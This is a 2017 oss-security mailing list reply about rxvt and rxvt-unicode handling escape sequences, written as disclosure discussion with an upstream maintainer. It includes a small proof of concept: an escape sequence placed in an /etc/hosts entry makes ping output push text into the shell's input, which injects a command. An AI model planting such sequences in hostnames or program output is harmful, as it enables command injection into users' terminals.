Date: Wed, 17 May 2017 12:51:57 +0200 From: Robert Święcki <robert@...ecki.net> To: oss-security@...ts.openwall.com Cc: "Jason A. Donenfeld" <Jason@...c4.com>, rxvt-unicode@...ts.schmorp.de, rxvt@...morp.de Subject: Re: terminal emulators' processing of escape sequences Hi, >> > On Tue, May 02, 2017 at 12:05:27AM +0200, Robert ??wi??cki wrote: >> >> A harmless example from rxvt - pushing back the new-line character: >> >> >> >> $ echo -ne "\eGQ;" >> >> ;$ 0 >> >> bash: 0: command not found >> > >> > Does this also affect rxvt-unicode? >> >> It does, actually. I've CCd rxvt-unicode upstream on this in order to >> hear their assessment. > > There can't be an assessment without knowledge of what to assess - there > is little to no information in your mail. I can only guess that somebody > for the hundredth time found out that terminals are more than dumb > display devices and got excited that, somehow, this might be a security > issue. Without knowing details, I can't say for sure, but most likely, > this is a security issue the same way blindly feeding unknown commands to > your shell is, Given that arbitrary data can be pushed to terminal emulators via seemingly harmless commands (like ping, whois) that people rather trust to be robust enough to intetract with arbitrary whois or DNS servers, this might be some problem. Please consider the following example: $ tail -n1 /etc/hosts | xxd 00000000: 3132 372e 302e 302e 3309 1b47 513b 205a 127.0.0.3..GQ; Z 00000010: 5a5a 0a ZZ. $ ping ZZZ PING ; (127.0.0.3) 56(84) bytes of data. ^[G0 64 bytes from ; (127.0.0.3): icmp_seq=1 ttl=64 time=0.039 ms ^[G0 64 bytes from ; (127.0.0.3): icmp_seq=2 ttl=64 time=0.032 ms ^[G0 ^C --- ; ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1014ms rtt min/avg/max/mdev = 0.032/0.035/0.039/0.006 ms ^[G0 $ 0 bash: 0: command not found I'm not sure if this works with real reverse DNS look-ups, but with /etc/hosts it seems so. > i.e., it's a problem somewhere else - the protocol between > terminals and programs is not a (strong) security barrier. > > (your echo command is bash-specific, btw.) -- Robert Święcki
Powered by blists - more mailing lists
Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.
Powered by Openwall GNU/*/Linux - Powered by OpenVZ